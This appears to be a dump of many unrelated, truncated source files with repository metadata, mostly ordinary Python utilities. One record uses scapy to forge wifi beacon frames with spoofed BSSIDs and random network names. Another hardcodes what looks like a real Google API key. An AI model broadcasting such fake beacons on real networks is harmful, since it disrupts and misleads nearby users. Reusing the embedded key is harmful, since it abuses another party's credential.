] | permissive | SeattleTestbed/attic | 0e33211ddf39efdbcf5573d4fc7fa5201aa7310d | f618a962ce2fd3c4838564e8c62c10924f5df45f | refs/heads/master | 2021-06-10T23:10:47.792847 | 2017-05-15T12:05:43 | 2017-05-15T12:05:43 | 20,154,061 | 0 | 1 | null | 2014-10-16T17:21:06 | 2014-05-25T12:34:00 | Python | UTF-8 | Python | false | false | 22,218 | py | """
<Program Name>
node_monitor_log_parser.py
<Started>
April 14, 2011
<Author>
Steven Portzer
<Purpose>
Loads and processes logs created by node_monitor.py.
<Notes>
The methods in this library use lists and dictionaries containing the
following two data structures:
event: a dict which correspond t... | [
"USER@DOMAIN"
] | USER@DOMAIN |
d28d382f472939cc29e15003e4e4f4dfc271d231 | f4dad2f7fdd745a090839c0085fd94e39399b871 | /download_test_bin.py | a3bbb862618b949048c2ae38ad2a0357fc6e3a10 | [] | no_license | ashindin/medfilt2d_openmp | 3bf4cb1f2d1d34f9367e3d78892bee4d39a2fdc0 | 86cabc08653a2b22e1219e334e72d58ae297dd4b | refs/heads/master | 2020-03-16T13:50:15.079842 | 2018-05-09T05:54:26 | 2018-05-09T05:54:26 | 132,700,738 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 882 | py | import requests
import json
import os
def get_direct_url(url_yandex):
r = requests.get("https://cloud-api.yandex.net/v1/disk/public/resources/download?public_key="+url_yandex)
if r.status_code==200:
return json.loads(r.content)['href']
else:
return 1
urls_filename="./download_test_bin.url"... | [
"shindin@rf.unn.ru"
] | shindin@rf.unn.ru |
0784645eb77e3222d6cf458d98c1cc8a5e195fda | db51fc5047cc498f48e2e5782df8092e19de9ddf | /FS2 - stock price data feed.py | 2fdd4f82232c5d96f700e61a63e8bde4d1053091 | [
"MIT"
] | permissive | arishma108/JPMorgan-Chase-Co | e88724ac4d55b9fd98e92dc62bdbb9e809bef6b3 | fffabf67aa1c4dd8e82200c31d47862bc0a4aca6 | refs/heads/master | 2021-03-20T05:55:11.369708 | 2020-12-10T20:29:32 | 2020-12-10T20:29:32 | 247,182,820 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,639 | py | From 359ec3f820b526c980de52d0396cd7093d5380cf Mon Sep 17 00:00:00 2001
From: Arishma Persadh <arishma.persadh@gmail.com>
Date: Tue, 4 July 2020 11:33:07 +0530
Subject: [PATCH] Make model solution
---
src/App.tsx | 24 ++++++++++++++++++------
src/Graph.tsx | 14 ++++++++++----
2 files changed, 28 insertions(+), 10 ... | [
"noreply@github.com"
] | noreply@github.com |
c1aa55f400053022a93a7d55497800abba353625 | bedc7073f30e1c53d8708512cdfe361edb98313c | /neutron/conf/agent/l3/config.py | 2de81d61c0fa78c98e2eafd09782f4db18daa528 | [
"Apache-2.0"
] | permissive | roberttao/neutron | b34a79dc8712e37be1970ac2ab5e9ebd5e3aed12 | b301aebbb30ae850602d1df77adf506010573c8a | refs/heads/master | 2020-02-26T16:46:06.223191 | 2016-08-26T21:05:39 | 2016-08-26T21:05:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,690 | py | # Copyright (c) 2015 OpenStack Foundation.
#
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unle... | [
"aradhana1.singh@intel.com"
] | aradhana1.singh@intel.com |
5b8a511d1b41dbecda8f5349c3a3fba7ae96ced2 | 457b3e816e42f110347793c3e185984e0b70de80 | /the_sward_to_offer/41.1.py | 27ec3d386a76804cf11fc3534ec212e8bd9a79ed | [
"MIT"
] | permissive | smallflyingpig/leetcode | c8b0093a81cbadbd5d6f4ce6302e1dfbe994251f | a5f70cb0eacc7faab1d0dba098f04bb120ca97ad | refs/heads/master | 2021-06-20T18:27:50.381851 | 2021-06-16T02:04:17 | 2021-06-16T02:04:17 | 195,158,088 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,279 | py | # -*- coding:utf-8 -*-
"""
如何得到一个数据流中的中位数?如果从数据流中读出奇数个数值,那么中位数就是所有数值排序之后位于中间的数值。如果从数据流中读出偶数个数值,那么中位数就是所有数值排序之后中间两个数的平均值。我们使用Insert()方法读取数据流,使用GetMedian()方法获取当前读取数据的中位数。
"""
import heapq
class MaxHeap:
def __init__(self):
self.data = []
def top(self):
return -self.data[0]
def push(self, va... | [
"jiguo_li@outlook.com"
] | jiguo_li@outlook.com |
d7cbb7601dacfe73e5c5d1b0360c045ed6b95318 | f559cc7daaef2989d050e90ff226e6a4d1771987 | /python/data_processing/AdGroupProcessing.py | 1927b458ebff4c9fd1e05fb210b3410e32ee6dc5 | [] | no_license | sr-webmaster/AdevolverVueLaravel | 2a04970c3f25cdab3b2d5896071512628d848566 | ce92fc6874cab5c0884d06c9f238f44ba0892271 | refs/heads/master | 2023-08-20T08:54:29.993702 | 2021-09-18T14:56:51 | 2021-09-18T14:56:51 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,740 | py | from __future__ import division
import pandas as pd
from common.Database import Database
from common.Log import Log
class AdGroupProcessing():
def __init__(self, account_id):
self.account_id = account_id
self.date_range = "last_112_days"
def main(self):
Log("info", "Adding message,... | [
"crystalworksremotely@gmail.com"
] | crystalworksremotely@gmail.com |
4eec6701e21036d61a56b9b9ed4e16bd3ef4c768 | 1aefc724752e30aaef634de71a60f274395c98e4 | /src/ziptest/csvtest.py | d8e36357e3cc60ba90ac2401ec55dd593a2feaea | [] | no_license | bopopescu/pythonFist | 0e1321696b4d347910f3d70c28b4c10a3c29b16b | a1afc87d21b56a84bd3a2fb3389bb0077918caf4 | refs/heads/master | 2022-11-22T06:13:11.344853 | 2019-02-26T14:20:57 | 2019-02-26T14:20:57 | 281,396,441 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 435 | py |
import csv
with open('names.csv', 'w', newline='') as csvfile:
fieldnames = ['first_name', 'last_name']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
writer.writeheader()
writer.writerow({'first_name': 'Baked', 'last_name': 'Beans'})
writer.writerow({'first_name': 'Lovely', 'la... | [
"936804097@qq.com"
] | 936804097@qq.com |
9cb597f1e7850ac04cafc87043fdb422489ce144 | 335944885d937316236102a80f76a696b48b51e1 | /scripts/segmentation_pipeline/lifted_features.py | d07d668c6b6cd5f4aa9b74a9dc94ef84ed3125cd | [
"MIT"
] | permissive | chaubold/nifty | b33153c3ba2dd7907c1f365b76a31471f9313581 | c351624a7f14278eb241fb730f44bdd275563dec | refs/heads/master | 2021-01-11T17:43:23.443748 | 2017-01-22T12:48:21 | 2017-01-22T12:48:21 | 79,821,703 | 0 | 3 | null | 2017-12-22T10:47:30 | 2017-01-23T16:16:55 | C++ | UTF-8 | Python | false | false | 7,996 | py | import vigra
import nifty
import nifty.graph
import nifty.graph.rag
import nifty.graph.agglo
import numpy
import h5py
import sys
nrag = nifty.graph.rag
nagglo = nifty.graph.agglo
from reraise import *
from tools import *
@reraise_with_stack
def multicutFromLocalProbs(raw, rag, localProbs, liftedEdges):
u = ... | [
"thorsten.beier@iwr.uni-heidelberg.de"
] | thorsten.beier@iwr.uni-heidelberg.de |
c1fe45b3e7445a6563381aa858ccbee35fc7fb33 | 2bb90b620f86d0d49f19f01593e1a4cc3c2e7ba8 | /pardus/tags/2007/programming/languages/perl/XML-SAX/actions.py | 5573fe066768c8ff99b6aad789159fe54b90d0fb | [] | no_license | aligulle1/kuller | bda0d59ce8400aa3c7ba9c7e19589f27313492f7 | 7f98de19be27d7a517fe19a37c814748f7e18ba6 | refs/heads/master | 2021-01-20T02:22:09.451356 | 2013-07-23T17:57:58 | 2013-07-23T17:57:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 387 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright 2006 TUBITAK/UEKAE
# Licensed under the GNU General Public License, version 2.
# See the file http://www.gnu.org/copyleft/gpl.txt.
from pisi.actionsapi import pisitools
from pisi.actionsapi import perlmodules
def setup():
perlmodules.configure()
def build()... | [
"yusuf.aydemir@istanbul.com"
] | yusuf.aydemir@istanbul.com |
de802606d8bf3145a3e6ee23b07c82ce825adbd9 | f1fc7c89e36411b382132628db46a01a2c353480 | /tests/test_polarizability.py | 786c6b2bfbaf55a2bd501831a73fab30e59e6656 | [] | no_license | kitchenknif/PyDDA | 5f0932493403a9778035397f0f3887a0c75ba87d | 1cd128d1540d42cdf9638d8ce72ff036267aaee6 | refs/heads/master | 2021-01-24T17:55:23.182178 | 2015-09-21T17:35:24 | 2015-09-21T17:35:24 | 39,826,406 | 9 | 4 | null | 2015-08-10T15:46:46 | 2015-07-28T09:59:02 | Python | UTF-8 | Python | false | false | 2,443 | py | from unittest import TestCase
import numpy
from polarizability_models import *
__author__ = 'Kryosugarra'
class TestPolarizability_CM(TestCase):
def test_polarizability_CM(self):
alph_exp = 1.0e-04 * numpy.asarray([
0.8351 + 0.2280j,
0.8351 + 0.2280j,
0.8351 + 0.2280j,... | [
"pavel.a.dmitriev@gmail.com"
] | pavel.a.dmitriev@gmail.com |
99c2a1ffa6938b86483e52d6510440e76c7feb96 | 6f5d64980cdacbdea19a3bb89967eee0d2bea2e3 | /1718.py | 844d2487bd7694276c4e66053d7d9121c6244a80 | [] | no_license | kexinwu/Learnpycode | 02bb36af2ad8b0b458868c6fc921f160ab681728 | 9c64d910b89f091a5d360304587815588b922feb | refs/heads/master | 2020-07-10T10:28:18.242974 | 2019-09-18T02:28:55 | 2019-09-18T02:28:55 | 204,241,344 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 641 | py | #字典排序
# from collections import OrderedDict
# import json
# d = OrderedDict()
# d['foor'] = 1
# d['bar'] = 2
# d['spam'] = 3
# d['grok'] = 4
# for key in d:
# print(key,d[key])
# json.dumps(d)
#18字典的运算
prices = { 'ACME': 45.23, 'AAPL': 612.78, 'IBM': 205.55, 'HPQ': 37.20, 'FB': 10.75 }
min_p = min(zip(prices.va... | [
"13241224773@163.com"
] | 13241224773@163.com |
d951854c0ea31255450cdf55297c9a63031b4b0c | 689e0b200e253940e058ee2347088e65f32b608b | /run.py | fa7b4d2330c845f8d0c8b67699fa06b2a6ef13e0 | [] | no_license | andreschapa/flasktasker | ffbf7835906aa4f98a02c306873c82d1b5d8761e | 002e7ed8022de25b6dd69fdb069888db4aca3e42 | refs/heads/master | 2023-02-08T11:39:44.202057 | 2020-12-31T22:40:47 | 2020-12-31T22:40:47 | 322,150,143 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 249 | py | # run.py
##Change this back once ready to deploy to heroku. Running locally for development purposes
import os
from project import app
port = int(os.environ.get('PORT', 5000))
app.run(host='0.0.0.0', port=port)
#from project import app
#app.run() | [
"andres@scanmatics.com"
] | andres@scanmatics.com |
7e97ce77a2e843d41eae0d6f3972de01e2d97f89 | 494e997112caf3aa966765fa956e22e13ca2bb6e | /ddtrace/ext/distributed.py | 9c946ce76628c0f2aa98b6989834f7ac171280ef | [] | no_license | manz/dd-trace-py | 90b23e12926a19e338b4f6b314e9b4b35bf4a5a1 | aa5233c2e08d9fe8f4cc299a758e378c8e3cfc61 | refs/heads/master | 2021-07-17T23:05:45.011090 | 2017-10-26T14:01:05 | 2017-10-26T14:01:05 | 108,418,804 | 0 | 0 | null | 2017-10-26T13:57:31 | 2017-10-26T13:57:31 | null | UTF-8 | Python | false | false | 297 | py | # HTTP headers one should set for distributed tracing.
# These are cross-language (eg: Python, Go and other implementations should honor these)
HTTP_HEADER_TRACE_ID = 'x-datadog-trace-id'
HTTP_HEADER_PARENT_ID = 'x-datadog-parent-id'
HTTP_HEADER_SAMPLING_PRIORITY = 'x-datadog-sampling-priority'
| [
"christian.mauduit@datadoghq.com"
] | christian.mauduit@datadoghq.com |
1a9303f6142337e856c56358a07ef0bb0448ad59 | e3674c95e31ccd76b0d5c0d0674326d17c552584 | /project/dip/digital_image_processing.py | a3ba8216f8bc2df5a63c6f005e75e5abcf569d07 | [] | no_license | profjefer/biological-cells-counter | 2780b66f57d8ed4b6407eb91c294630bea0ce5e3 | cfa0fba93371577e0098434343e00fc68234e9b0 | refs/heads/main | 2023-04-19T13:59:41.327867 | 2021-05-10T17:13:01 | 2021-05-10T17:13:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,074 | py | import sys
import os
import cv2
sys.path.append('../')
from segmentation_dip import segmentation
from shared.counter import count_cells, change_cells_to_rgb
def main():
save = False
path_to_file = sys.argv[1] if len(sys.argv) > 1 else exit("Missing argument: path_to_file")
if len(sys.argv) > 2:
o... | [
"skibaapawell@gmail.com"
] | skibaapawell@gmail.com |
5506ea8b1391d5f1fe1433f57984e88db7e43cfe | fb617db1881e6ece6f606a3598124966a9b0b070 | /Edge.py | 92c895fc165e0ee8b6a5bac43923ab1ab8b5dd13 | [] | no_license | sitdsa/dsa | 21bf8a4322f205a5440e06325d12dece10f42bbe | 6178be6260dfe4f8444442eee7e7e3d6f0936c25 | refs/heads/master | 2020-12-23T14:59:00.491782 | 2020-03-09T02:46:58 | 2020-03-09T02:46:58 | 237,184,535 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 921 | py | __author__ = 'A88253'
class Edge:
v = None # vertex 1
w = None # vertex 2
weight = None # weight
def __init__(self, v, w, wt):
self.v = v
self.w = w
self.weight = wt
# return either endpoint
def either(self):
return self.v
# return the other endpoint
d... | [
"noreply@github.com"
] | noreply@github.com |
ade449d196c2f24f481058c91a30d29132d82299 | 14bca3c05f5d8de455c16ec19ac7782653da97b2 | /lib/kubernetes/client/models/v1_service_reference.py | 819f741043d5bbd68d7c07a9e9013f4996efcf56 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | hovu96/splunk_as_a_service_app | 167f50012c8993879afbeb88a1f2ba962cdf12ea | 9da46cd4f45603c5c4f63ddce5b607fa25ca89de | refs/heads/master | 2020-06-19T08:35:21.103208 | 2020-06-16T19:07:00 | 2020-06-16T19:07:00 | 196,641,210 | 8 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,993 | py | # coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.14.4
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteri... | [
"robert.fujara@gmail.com"
] | robert.fujara@gmail.com |
12a6ff86b23eb6564621ddf7dadcb2be68f741aa | f9ce8a801b530a84e21be80178b92bbc8e3f6d17 | /randomWeightsEvolution.py | 58ed0147c9bb76f566b791199d81ddd532939801 | [] | no_license | gavinforest/Evolving-Neural-Networks | b7228b06ae8209fe42afdff11627efc36bd378f6 | 1f7780b35c15ac5387fa67a1da32fadcb60689dd | refs/heads/master | 2021-09-14T03:44:26.004029 | 2018-05-07T17:53:16 | 2018-05-07T17:53:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 58,941 | py | #redirect output so I can run this headless (jupyter notebook keeps crashing)
import sys
myLog = open("randomWeightsEvolutionLogCartesian11", "w+", 0)
sys.stdout = myLog
print "testing stdout"
#Set up generating mathematical functions in tree structures from the following
#primitives, these will be used for calculati... | [
"gavinrees@college.harvard.edu"
] | gavinrees@college.harvard.edu |
e857df597344383399adbd6dd4701f5cb1a0d7af | 0e31e5f780915fc505d09655fcd4a2915e587402 | /DC visualization(2d to 4d).py | 2f9ba911dc683f9aae65f72df5247349eb7cee66 | [] | no_license | MohibAyub/Forest-Fire-Analysis-and-Prediction | f764f9f83021bff7055551934e1e0ea9516924d7 | 7cfab9470d16b4b97506e790a8b6472db6e36880 | refs/heads/master | 2021-10-20T04:25:05.372918 | 2019-02-25T22:04:04 | 2019-02-25T22:04:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,726 | py | '''
@author: Kunmao Li
1. new varaible generated:
1). ln(area+1): float64
Based on the characteristics of variable 'area' from the plots, remodel 'area' with logarithm transform
2). FIRE: str
Fire indicator: fire/no fire ,indicating whether there's fire
2. 1D Visualization
Figure 1-13: 13 varaibles inside... | [
"noreply@github.com"
] | noreply@github.com |
53b3e8acd3bab22bf529eba98bba4148bf67ba23 | ce069077a07dafdf5e1d3e8591a8fc268338bc38 | /contain-duplicate.py | ab926675a8e3465eb969faa6d0f8b51e19a3a78b | [] | no_license | mocmeo/algorithms | f7cb97997703ebd8bd7e484ea41b430f9de2fc0a | 9d50d21cba2578bf1be065c92d9c6d06325246dc | refs/heads/master | 2022-08-01T04:15:23.496034 | 2022-07-03T11:50:37 | 2022-07-03T11:50:37 | 193,634,592 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 263 | py | def containDuplicate(nums):
if (len(nums) <= 1):
return False
nums.sort()
for x in range(0, len(nums) - 1):
if (nums[x] == nums[x+1]):
return True
return False
print(containDuplicate([1, 1, 1, 3, 3, 4, 3, 2, 4, 2]))
| [
"vdev.lamnn@gmail.com"
] | vdev.lamnn@gmail.com |
ec2b0c096fe625bf7838dbb4b40485c2ac3df5ec | 8c42ec6becdeca15bb955e28560379fe26ec8e76 | /daishin/CodeLoad.py | 078821b5e031c7f069d144ae4e82c9a681c591ef | [] | no_license | s2loves27/stock_python | edba5e5e73b3d4b60b038a77f89ac7123a601bfd | cdb8bc3289905cb494a6561d53aca5cbfac7d214 | refs/heads/master | 2021-06-28T16:52:44.497348 | 2020-11-17T01:05:35 | 2020-11-17T01:05:35 | 190,297,907 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,525 | py | import win32com.client
def ReqeustData(obj):
# 데이터 요청
obj.BlockRequest()
# 통신 결과 확인
rqStatus = obj.GetDibStatus()
rqRet = obj.GetDibMsg1()
print("통신상태", rqStatus, rqRet)
if rqStatus != 0:
return False
# 일자별 정보 데이터 처리
count = obj.GetHeaderValue(1) # 데이터 개수
for i in ra... | [
"s2loves27@naver.com"
] | s2loves27@naver.com |
ecf5ecd713adefd81bf02573c09438f88bc78737 | 4ef3a40692f13c9fab7c0ecae107638a469d2106 | /resource/pics/shi.py | b161832a8586ddd70c4c1a4ae9ab38adb80b5e8d | [] | no_license | jonasagx/nephos | 2010927cf1feb5fc79eeb7268c88faeff3aa1fd9 | 695480f405bacf4b139f2d58125ed8a47166cf72 | refs/heads/master | 2020-12-24T05:08:37.215494 | 2017-04-03T21:35:11 | 2017-04-03T21:35:11 | 33,464,113 | 0 | 0 | null | 2016-06-06T05:43:07 | 2015-04-06T02:59:44 | TeX | UTF-8 | Python | false | false | 493 | py | import numpy as np
import cv2
#from matplotlib import pyplot as plt
import sys
assert len(sys.argv) > 1, "Pass an image as param"
filename = sys.argv[1]
img = cv2.imread(filename)
gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)
corners = cv2.goodFeaturesToTrack(gray, 50, 0.01, 10)
corners = np.int0(corners)
for i in cor... | [
"jonas.agx@gmail.com"
] | jonas.agx@gmail.com |
f82124c1580bbb5616eaaaf34165b61dd2452ff5 | ca94c4f43614b0a9d2cbad864e19d477fe56f46c | /patch_gen.py | e8bbcfe53647ff62807e5e17f8144b0a57bcc729 | [] | no_license | SoundGlance/From-Web-To-Patch | 53dfe4a1d20d66d28cf35f56cdd7703965245102 | 0606886a18b7dbe46beba81d0bfdfb3bff579a23 | refs/heads/master | 2020-03-26T22:49:01.503408 | 2018-09-04T04:57:20 | 2018-09-04T04:57:20 | 145,489,420 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,726 | py | import os
import sys
import json
import shutil
import pprint
from collections import defaultdict
import requests
from PIL import Image
url = sys.argv[1]
data = json.loads(requests.get(url).text)
PATCH_SIZE = 128
rects_info = defaultdict(list)
for rect in data["target"]:
rects_info[rect["screenshot_id"]].append(... | [
"javelinsman@snu.ac.kr"
] | javelinsman@snu.ac.kr |
da9b6af8202c35e0ddfa2881deb62567866dc940 | b67072e39bc94793ad53a6d36e3c500124a45983 | /email_predict/Messages.py | d67684f6503cf15848f413e903e0dad2a179ab8e | [] | no_license | cniedzwiedz/email_predict | f9aa29d16a13728a9b344d4fd4ebf3ea90568fc8 | e6800f31328a21ef007b37800933563cde90cffa | refs/heads/master | 2016-08-03T23:57:13.502367 | 2015-03-08T04:11:06 | 2015-03-08T04:11:06 | 31,786,398 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,669 | py | """
Messages
========
Contains classes representing different message types.
"""
import email
import logging
import re
import bs4
import dateutil.parser
__author__ = 'cniedzwiedz'
class AmazonOrderConfirmationEmail(object):
""" Class for an Amazon order confirmation email message.
Example usage::
>>... | [
"cniedzwiedz@gmail.com"
] | cniedzwiedz@gmail.com |
c2c7c647ec465593ef9343619283a7a2d41c4065 | ada49dd2e174d117f01c533e8e106fda70ea00af | /venv/Scripts/easy_install-3.6-script.py | 0e9842248546eded73a3d83f8374ef3d6e112064 | [] | no_license | inesriahi/codeforces | 5e394016f3cbf718af9d23ef16b5d20441c55f58 | a3ba9b557440c5de4ac0b9d2c8fb155ab375c0ac | refs/heads/master | 2022-02-02T13:39:34.617182 | 2019-06-22T19:51:21 | 2019-06-22T19:51:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 458 | py | #!C:\Users\Noussa\Desktop\SQU\codeforces\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install-3.6'
__requires__ = 'setuptools==40.8.0'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw... | [
"38370333+NoussaOns@users.noreply.github.com"
] | 38370333+NoussaOns@users.noreply.github.com |
903e6f3206cb11eda784f6d7648359e306a2cd23 | 2f5479e7d5ce0b3ab2128d8ee14c869a87f32bb7 | /10/drinks.py | f2714537e96a9b7b291b7b0f9a6d842455177f36 | [] | no_license | alby-m/pyladies | bc2e679464aab30df20ba8c40e6de31444ed3cc7 | b4242c68005c72f49ebca0bc09c8dd9ab24f38a9 | refs/heads/master | 2020-08-15T15:04:24.585155 | 2020-02-09T17:05:20 | 2020-02-09T17:05:20 | 215,360,438 | 1 | 0 | null | 2020-02-09T17:05:22 | 2019-10-15T17:43:20 | TeX | UTF-8 | Python | false | false | 553 | py | class Drink:
def __init__(self, name):
self.name = name
def alcohol(self, promile):
print('{} has {} promile.'.format(self.name, promile))
class Beer(Drink):
def occassion(self):
print('{} is suitable for celebrations.'.format(self.name))
class Wine(Drink):
def occassion(self)... | [
"mazurkovicova@gmail.com"
] | mazurkovicova@gmail.com |
a8cff99d9cc16ff3c36e4d240156337d618ee0da | 15b45026f39eeb213c9b33b59e79791381b1f24e | /1. ChatBot.py | 0856ca8e380b04f65517dd4fff650453b80058fe | [] | no_license | Afatirk/Robokalaam-Assignment | 51bacea5d8ed5c25998daf323500cb13e284a275 | 1d7cedbae3c257316ba64e52c46781d2827c0852 | refs/heads/main | 2023-01-15T13:44:57.056496 | 2020-11-23T08:17:29 | 2020-11-23T08:17:29 | 315,239,086 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 449 | py | from nltk.chat.util import Chat, reflections
pairs=[['My name is (.*)',['Hi %1']],
['(.*) is your name?',['My name is JARVIS The Robot!']],
['(Hi|Hello|Heyy|hey)',['Hey there','Hi','Hellooo','Hello, nice to meet you']],
['(.*) created you?',['Abdul Fatir Sir did']],
['How is the weather in (... | [
"noreply@github.com"
] | noreply@github.com |
360a0b8ec746a9fabd2d809af49ecb574ce6ec28 | c6b41409d2c17b26ace3d3562fc319d99d3d22a0 | /v2/loop-beacon-random-names.py | 06f9a357a93eaeeb50a13cd7f8c223f401bd717b | [
"MIT"
] | permissive | c-goosen/mess-with-wifi | 84d9effbe521b726364cc60afbc36d766ad02803 | 741cb0ee8021cbac36fc874b48314fc3f2f7b083 | refs/heads/master | 2021-01-22T19:08:50.869361 | 2017-03-27T15:45:03 | 2017-03-27T15:45:03 | 85,166,933 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 666 | py | # coding=utf-8
#!/usr/bin/env python
import names
from scapy.all import *
import time
srcmac = '00:00:de:ad:be:ef'
dstmac = 'ff:ff:ff:ff:ff:ff'
for x in range(0,100):
bssid = '00:11:22:33:44:{}'.format(str(x).zfill(2))
time.sleep(0.2)
gen_name = names.get_last_name()
# short preamble, not wpa/wep, short timeslot
... | [
"christo.goosen@opendna.ai"
] | christo.goosen@opendna.ai |
d15150ad1d8a09253e9769bf488150ef196f51e2 | 3ef224636ea85d75f0a37e5e9d7d045db8a50cce | /server/rmp/views/__init__.py | 69f15a257621e5dd3e92cd9fbdb6cf1272532e63 | [] | no_license | umcssa/rate-my-professor | ed44db711b75a1693b0f095554a96f65b27c4f86 | 498ad47fcf953ef08ee7a88ec8141d317650438c | refs/heads/master | 2021-09-20T14:14:15.082749 | 2018-08-10T14:27:41 | 2018-08-10T14:27:41 | 117,906,696 | 7 | 0 | null | null | null | null | UTF-8 | Python | false | false | 77 | py | """Views, one for each Insta485 page."""
from rmp.views.index import index
| [
"kezian@umich.edu"
] | kezian@umich.edu |
29b4c1f98974dd9c33976645330ab7bd602dc280 | 099ce8622671fd6b78eae2f452f7daca158107a4 | /homework_1/exercise_1_age.py | 1cf87bad7bd9d2bc6fb7d6757f222c1983c45b13 | [] | no_license | Karlson6/LernPython | 0cfc35074907692d5c58d71e31ecc2dd6ca1befa | 80cebf60dd2da7893f357d96819819943bd10cee | refs/heads/master | 2020-05-26T05:05:56.770291 | 2019-05-29T21:45:08 | 2019-05-29T21:45:08 | 188,113,512 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,097 | py | # Функция, возращающая try, если введено целое число.
def isInt(value):
try:
int(value)
return True
except ValueError:
return False
# Заставляем пользователя ввести целое число
user_age = input("Сколько Вам лет? (введите целое число): " )
while isInt(user_age) is False or int(user_age) ... | [
"lena.korzinkina@mail.ru"
] | lena.korzinkina@mail.ru |
dfef61c64402da91b1481f42d8851c8449d9553a | b3d9d43df558c8c75e4d01a989abf95466b5f6b4 | /plot-size_time4various_A.py | 65fb3be2dbc95f0642e4bda9cab1cbdac3706271 | [
"MIT"
] | permissive | HaowenLai/Fast-and-Accurate-Least-Mean-Squares-Solvers | ef47d60a2e70d4bf8893a4c57692a32d3b62917a | 9fa5cebc5d00014403523e13f84a23a96e092e81 | refs/heads/master | 2020-11-25T20:45:33.130148 | 2019-12-23T03:07:52 | 2019-12-23T03:07:52 | 228,838,042 | 0 | 0 | MIT | 2019-12-18T12:43:22 | 2019-12-18T12:43:21 | null | UTF-8 | Python | false | false | 2,991 | py | """Experiment and plot figure 3 of the paper.
Size/Time for various |A|, m=3, d=7
"""
import numpy as np
import Booster
from matplotlib import pyplot as plt
def main():
data_range = 100
d = 7
#num_of_alphas = 100
folds = 3
# lassoCV
solver = "lasso"
rec_n = list(range(100000, 20000... | [
"this_is_my_mail2@163.com"
] | this_is_my_mail2@163.com |
823fbcd52596c818081a713b22fef9460caaa729 | 0abcbbac1efc95877f159c65d6f898e749b1bf09 | /MyMusicApp/blog/migrations/0002_auto_20190913_2052.py | ccada31f79d7ce09bbd01e6324ea7b32fcd3506e | [
"MIT",
"LicenseRef-scancode-free-unknown",
"LicenseRef-scancode-other-copyleft",
"GPL-1.0-or-later",
"bzip2-1.0.6",
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-proprietary-license",
"LicenseRef-scancode-newlib-historical",
"OpenSSL",
"Python-2.0",
"TCL",
"LicenseRef-scancod... | permissive | kells4real/MusicApp | 5055e465b46c39e0687c98b7a8adbb2203ac9156 | 4e4ba065c4f472243413551f63dc4e9eddf7f4a7 | refs/heads/master | 2022-10-07T15:49:38.406106 | 2019-10-24T19:55:52 | 2019-10-24T19:55:52 | 197,428,434 | 0 | 1 | MIT | 2022-10-02T02:23:26 | 2019-07-17T16:48:16 | Python | UTF-8 | Python | false | false | 637 | py | # Generated by Django 2.2.2 on 2019-09-13 19:52
import blog.models
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blog', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='post',
name='image',
... | [
"kells4real@gmail.com"
] | kells4real@gmail.com |
613e562363b7c772465c330b02d382e190df2da5 | debe8b7f1d6bae7472e18ae272e3cf17c36a67c1 | /src/googleSearch.py | dbd6099102dbad8daacbec1bb6c4675a65e78fd0 | [] | no_license | altificial-intelligence/BinaryView | 642dfde1ebe93769fa5c43c46d8f2709b06d67fd | 6cf6f6c0d5cc63286b8b0d2366282a40b00bdb7d | refs/heads/master | 2020-12-24T10:58:27.010221 | 2016-02-29T08:09:19 | 2016-02-29T08:09:19 | 52,684,248 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,444 | py | from googleapiclient.discovery import build
class ImageSearch:
def __init__(self):
self.apiKey = "AIzaSyBfKuONYZkZ56UqyZ45OYK9exNAI8FBapc"
self.searchEngineId = '006736731268319443987:hdhdfnrz2om'
self.service = build("customsearch", "v1",
developerKey=self.ap... | [
"baldwmic@mail.gvsu.edu"
] | baldwmic@mail.gvsu.edu |
a943fccdce921e2bd0d8ec58aad157263685bff7 | 63c97b9ccf4677c2d5d7a62aed697de8dee014b6 | /admin_site/api/api_urls.py | 21d7dd838fbc7d2b2ac34b9933bb2be6e16993dc | [] | no_license | BekaHaile/fbpidi_django | 071c22a7e16f02a82217c0622ace5a6f9314451d | 607af0899d2fe28945f27f4d82be5fd171fa438e | refs/heads/master | 2023-08-04T20:04:50.837723 | 2021-08-14T09:53:20 | 2021-08-14T09:53:20 | 403,675,516 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 259 | py | from django.urls import path
